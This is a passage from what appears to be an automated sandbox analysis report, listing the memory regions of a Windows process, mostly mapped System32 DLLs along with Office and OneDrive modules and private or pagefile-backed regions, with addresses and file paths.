0x7fefab90000 end_va = 0x7fefab93fff entry_point = 0x7fefab90000 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 431 start_va = 0x7fefaba0000 end_va = 0x7fefaba3fff entry_point = 0x7fefaba0000 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 432 start_va = 0x7fefabb0000 end_va = 0x7fefabb2fff entry_point = 0x7fefabb0000 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 433 start_va = 0x7fefabc0000 end_va = 0x7fefabc3fff entry_point = 0x7fefabc0000 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 434 start_va = 0x7fefabd0000 end_va = 0x7fefabd2fff entry_point = 0x7fefabd0000 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll") Region: id = 435 start_va = 0x7fefabe0000 end_va = 0x7fefabe2fff entry_point = 0x7fefabe0000 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 436 start_va = 0x7fefabf0000 end_va = 0x7fefabf2fff entry_point = 0x7fefabf0000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 437 start_va = 0x7fefac00000 end_va = 0x7fefac02fff entry_point = 0x7fefac00000 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 438 start_va = 0x7fefac10000 end_va = 0x7fefac12fff entry_point = 0x7fefac10000 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll") Region: id = 439 start_va = 0x7fefac20000 end_va = 0x7fefac22fff entry_point = 0x7fefac20000 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 440 start_va = 0x7fefac30000 end_va = 0x7fefad21fff entry_point = 0x7fefac30000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 441 start_va = 0x7fefad30000 end_va = 0x7fefad33fff entry_point = 0x7fefad30000 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 442 start_va = 0x7fefad40000 end_va = 0x7fefad55fff entry_point = 0x7fefad40000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll") Region: id = 443 start_va = 0x7fefad60000 end_va = 0x7fefb075fff entry_point = 0x7fefad60000 region_type = mapped_file name = "grooveex.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\GROOVEEX.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\grooveex.dll") Region: id = 444 start_va = 0x7fefb080000 end_va = 0x7fefb33dfff entry_point = 0x7fefb080000 region_type = mapped_file name = "filesyncshell64.dll" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\amd64\\FileSyncShell64.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\amd64\\filesyncshell64.dll") Region: id = 445 start_va = 0x7fefb340000 end_va = 0x7fefb396fff entry_point = 0x7fefb340000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 446 start_va = 0x7fefb3a0000 end_va = 0x7fefb569fff entry_point = 0x7fefb3a0000 region_type = mapped_file name = "explorerframe.dll" filename = "\\Windows\\System32\\ExplorerFrame.dll" (normalized: "c:\\windows\\system32\\explorerframe.dll") Region: id = 447 start_va = 0x7fefb590000 end_va = 0x7fefb59afff entry_point = 0x7fefb590000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 448 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 449 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 450 start_va = 0x7fefb730000 end_va = 0x7fefb73afff entry_point = 0x7fefb730000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 451 start_va = 0x7fefb800000 end_va = 0x7fefb814fff entry_point = 0x7fefb800000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 452 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 453 start_va = 0x7fefbc10000 end_va = 0x7fefbc17fff entry_point = 0x7fefbc10000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 454 start_va = 0x7fefbd80000 end_va = 0x7fefbd94fff entry_point = 0x7fefbd80000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 455 start_va = 0x7fefbda0000 end_va = 0x7fefbdabfff entry_point = 0x7fefbda0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 456 start_va = 0x7fefbdb0000 end_va = 0x7fefbdc5fff entry_point = 0x7fefbdb0000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 457 start_va = 0x7fefbee0000 end_va = 0x7fefbef0fff entry_point = 0x7fefbee0000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 458 start_va = 0x7fefbf10000 end_va = 0x7fefc039fff entry_point = 0x7fefbf10000 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 459 start_va = 0x7fefc040000 end_va = 0x7fefc074fff entry_point = 0x7fefc040000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 460 start_va = 0x7fefc080000 end_va = 0x7fefc097fff entry_point = 0x7fefc080000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 461 start_va = 0x7fefc140000 end_va = 0x7fefc182fff entry_point = 0x7fefc140000 region_type = mapped_file name = "duser.dll" filename = "\\Windows\\System32\\duser.dll" (normalized: "c:\\windows\\system32\\duser.dll") Region: id = 462 start_va = 0x7fefc190000 end_va = 0x7fefc281fff entry_point = 0x7fefc190000 region_type = mapped_file name = "dui70.dll" filename = "\\Windows\\System32\\dui70.dll" (normalized: "c:\\windows\\system32\\dui70.dll") Region: id = 463 start_va = 0x7fefc290000 end_va = 0x7fefc4a4fff entry_point = 0x7fefc290000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 464 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 465 start_va = 0x7fefc510000 end_va = 0x7fefc63bfff entry_point = 0x7fefc510000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 466 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 467 start_va = 0x7fefcb80000 end_va = 0x7fefcbabfff entry_point = 0x7fefcb80000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 468 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 469 start_va = 0x7fefce20000 end_va = 0x7fefce26fff entry_point = 0x7fefce20000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 470 start_va = 0x7fefcf30000 end_va = 0x7fefcf4dfff entry_point = 0x7fefcf30000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 471 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 472 start_va = 0x7fefd0c0000 end_va = 0x7fefd10bfff entry_point = 0x7fefd0c0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 473 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 474 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 475 start_va = 0x7fefd410000 end_va = 0x7fefd416fff entry_point = 0x7fefd410000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 476 start_va = 0x7fefd420000 end_va = 0x7fefd474fff entry_point = 0x7fefd420000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 477 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 478 start_va = 0x7fefd5f0000 end_va = 0x7fefd611fff entry_point = 0x7fefd5f0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 479 start_va = 0x7fefd620000 end_va = 0x7fefd66dfff entry_point = 0x7fefd620000 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 480 start_va = 0x7fefd980000 end_va = 0x7fefd9a2fff entry_point = 0x7fefd980000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 481 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 482 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 483 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 484 start_va = 0x7fefdb30000 end_va = 0x7fefdb6cfff entry_point = 0x7fefdb30000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 485 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 486 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 487 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 488 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 489 start_va = 0x7fefdd20000 end_va = 0x7fefdd59fff entry_point = 0x7fefdd20000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 490 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 491 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 492 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 493 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 494 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 495 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 496 start_va = 0x7fefed90000 end_va = 0x7fefee26fff entry_point = 0x7fefed90000 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 497 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 498 start_va = 0x7fefee80000 end_va = 0x7feff0d8fff entry_point = 0x7fefee80000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 499 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 500 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 501 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 502 start_va = 0x7feff2f0000 end_va = 0x7feff4c6fff entry_point = 0x7feff2f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 503 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 504 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 505 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 506 start_va = 0x7feff6e0000 end_va = 0x7feff857fff entry_point = 0x7feff6e0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 507 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 508 start_va = 0x7feff870000 end_va = 0x7feff999fff entry_point = 0x7feff870000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 509 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 510 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 511 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 512 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 513 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 514 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 515 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 516 start_va = 0x7fffff60000 end_va = 0x7fffff6ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff60000" filename = "" Region: id = 517 start_va = 0x7fffff70000 end_va = 0x7fffff7ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename = "" Region: id = 518 start_va = 0x7fffff80000 end_va = 0x7fffff81fff entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 519 start_va = 0x7fffff82000 end_va = 0x7fffff83fff entry_point = 0x0 region_type = private name = "private_0x000007fffff82000" filename = "" Region: id = 520 start_va = 0x7fffff84000 end_va = 0x7fffff85fff entry_point = 0x0 region_type = private name = "private_0x000007fffff84000" filename = "" Region: id = 521 start_va = 0x7fffff86000 end_va = 0x7fffff87fff entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 522 start_va = 0x7fffff88000 end_va = 0x7fffff89fff entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 523 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 524 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 525 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 526 start_va = 0x7fffff90000 end_va = 0x7fffff91fff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 527 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 528 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 529 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 530 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 531 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 532 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 533 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 534 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 535 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 536 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 537 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 538 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 539 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 540 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 541 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 542 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 543 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 544 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 545 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 546 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 547 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 548 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 549 start_va = 0xcf00000 end_va = 0xcffffff entry_point = 0x0 region_type = private name = "private_0x000000000cf00000" filename = "" Region: id = 550 start_va = 0x7fee6a30000 end_va = 0x7fee6af1fff entry_point = 0x7fee6a30000 region_type = mapped_file name = "mssvp.dll" filename = "\\Windows\\System32\\mssvp.dll" (normalized: "c:\\windows\\system32\\mssvp.dll") Region: id = 551 start_va = 0x7fee6bd0000 end_va = 0x7fee6beafff entry_point = 0x7fee6bd0000 region_type = mapped_file name = "mapi32.dll" filename = "\\Windows\\System32\\mapi32.dll" (normalized: "c:\\windows\\system32\\mapi32.dll") Region: id = 552 start_va = 0x7fffff5e000 end_va = 0x7fffff5ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff5e000" filename = "" Region: id = 553 start_va = 0xd060000 end_va = 0xd15ffff entry_point = 0x0 region_type = private name = "private_0x000000000d060000" filename = "" Region: id = 554 start_va = 0x7fef87a0000 end_va = 0x7fef893bfff entry_point = 0x7fef87a0000 region_type = mapped_file name = "networkexplorer.dll" filename = "\\Windows\\System32\\networkexplorer.dll" (normalized: "c:\\windows\\system32\\networkexplorer.dll") Region: id = 555 start_va = 0x7fffff84000 end_va = 0x7fffff85fff entry_point = 0x0 region_type = private name = "private_0x000007fffff84000" filename = "" Region: id = 556 start_va = 0xafe0000 end_va = 0xafe1fff entry_point = 0xafe0000 region_type = mapped_file name = "mssvp.dll.mui" filename = "\\Windows\\System32\\en-US\\mssvp.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mssvp.dll.mui") Region: id = 557 start_va = 0xc410000 end_va = 0xc50ffff entry_point = 0x0 region_type = private name = "private_0x000000000c410000" filename = "" Region: id = 558 start_va = 0x7fef82d0000 end_va = 0x7fef830afff entry_point = 0x7fef82d0000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 559 start_va = 0x7fffff82000 end_va = 0x7fffff83fff entry_point = 0x0 region_type = private name = "private_0x000007fffff82000" filename = "" Region: id = 560 start_va = 0xce00000 end_va = 0xcefffff entry_point = 0x0 region_type = private name = "private_0x000000000ce00000" filename = "" Region: id = 561 start_va = 0x7fefb570000 end_va = 0x7fefb587fff entry_point = 0x7fefb570000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 562 start_va = 0x7fffff5c000 end_va = 0x7fffff5dfff 